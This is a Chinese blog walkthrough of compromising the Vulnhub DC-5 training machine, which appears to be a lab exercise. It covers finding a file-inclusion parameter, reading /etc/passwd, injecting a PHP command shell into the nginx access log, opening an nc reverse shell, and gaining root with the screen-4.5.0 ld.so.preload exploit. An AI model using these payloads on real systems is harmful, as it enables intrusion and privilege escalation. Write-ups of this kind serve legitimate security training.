Vulnhub DC-5 靶机渗透 – 作者:hambugerhan

1、信息收集

DC-5靶机描述

1614243258_603765ba7b4ef7565e5bb.png!small?1614243261110

获取kali的ip地址:

1614243304_603765e8d46c74e30908c.png!small?1614243307572

扫面该局域网下的所有设备:

1614243382_603766366a89da0c3630b.png!small?1614243385030

发现DC-5靶机的ip地址为192.168.0.149,用nmap对该ip进行扫描:

1614244237_6037698d2832587ac106d.png!small?1614244237478

发现80端口开启,在浏览器中输入该ip,发现该网站的CMS是Nginx

对该目录进行扫描:1614244358_60376a068261192132fb0.png!small?1614244358973

发现并无有用信息

翻看四个界面,发现只有contact界面可以进行输入内容

1614244888_60376c183532a667121f4.png!small?1614244888558

随便输入信息后,点击submit,发现进入了thankyou.php页面1614244961_60376c61b66321d36e00b.png!small?1614244962034

点击刷新后,发现底部日期发生了改变。

利用wfuzz进行扫描

wfuzz -w wordlist -w wordlist -u URL/FUZZ=FUZ2Z

1614259661_6037a5cd19d17c07cb36b.png!small?1614259662165

发现大部分测得的字符长度都为851ch,于是将这个长度字符的对应内容都过滤掉:

wfuzz -w wordlist -w wordlist --hh 851 -w URL/FUZZ=FUZ2Z

发现变量名和文件:file=footer.php。(过程有点慢,也可以使用其他的目录扫描文件进行扫描,比如御剑,但是我用御剑没扫描到)

2、进行操作

利用burpsuite对contact过程进行拦截1614260818_6037aa526339ba0e2968d.png!small?1614260819395

易知,file是可利用的参数。拦截后发送到Repeater,将 file后的内容改为/etc/passwd,可以查看passwd中的内容。

1614261104_6037ab7076b2b41a382d1.png!small?1614261105606

将文件转到/var/log/nginx/access.log日志文件下:1614262317_6037b02d6adc1a27e2174.png!small?1614262319330

在burpsuite中将file后改为<?php phpinfo(); ?>,看能否记录到日志文件中

1614261883_6037ae7b19282dfb6283c.png!small?1614261901908

向下滑发现可以记录到日志文件中1614262317_6037b02d5ea78e8137711.png!small?1614262319330

因此,想到file后输入<?php system($_GET[‘cmd’]); ?>,然后运行nc反弹shell。在kali中打开监听端口,连接到该端口:

1614262695_6037b1a77062cb0f666a5.png!small?1614262696175

1614262644_6037b17425f7687b5e551.png!small?1614262644909

利用Python获得一个交互式shell:

1614266026_6037beaa9b5be44087ec9.png!small?1614266027477

3、提权获得flag

将无权限访问的目录过滤掉 find / name -perm -u=s -type f 2>/dev/null,得到结果:

1614263192_6037b39861025cde80f95.png!small?1614263193208

发现可疑文件screen-4.5.0,搜索该文件漏洞,发现shell

1614263330_6037b42263eef8c387e37.png!small?1614263331192

将该shell复制到/var/www/html目录下:

1614264495_6037b8afd004354344e6d.png!small?1614264496632

查看dc5靶机下所有目录的权限,发现tmp路径有所有权限,因此,切换到tmp路径下,下载41154.sh文件

1614264561_6037b8f11a710bb0e8498.png!small?1614264562067

运行,发现无法运行。

于是看41154文件的内容。将一下三部分分别设为三个不同的文件

1614263747_6037b5c363419f614671e.png!small?16142637490811614263831_6037b6177114f6b4b8c10.png!small?1614263832302

1614263861_6037b635c623a88ed1ddd.png!small?1614263862596

文件名分别为libhax.c, rootshell.c, run.sh,注意最后一个文件开头要加上#!/bin/bash,然后运行代码

gcc -fPIC -shared -ldl -o libhax.so libhax.c
rm -f /tmp/libhax.c gcc -o rootshell rootshell.c rm -f /tmp/rootshell.c

1614265644_6037bd2cda4307c50647f.png!small?1614265645707发现依旧无法运行。因此选择在命令行中输入该脚本中的每一个步骤,即

cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  “\x0a/tmp/libhax.so” # newline needed
echo “[+] Triggering…”
screen -ls

/tmp/rootshell

运行完毕后发现自己已经是root了1614265847_6037bdf795aa550bac04a.png!small?1614265848527

切换到/root路径下,获取flag:1614266101_6037bef5b5f1bccbb42f0.png!small?1614266102969

4、知识点总结:

  1. wfuzz爆破路径
  2. php的引用函数
  3. 当cms是nginx时对日志文件的利用
  4. nc 反弹shell
  5. 对脚本文件的阅读,以及将一个文件进行拆分
  6. kali apache2开启后的默认路径是/var/www/html

来源:freebuf.com 2021-02-25 23:25:10 by: hambugerhan

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论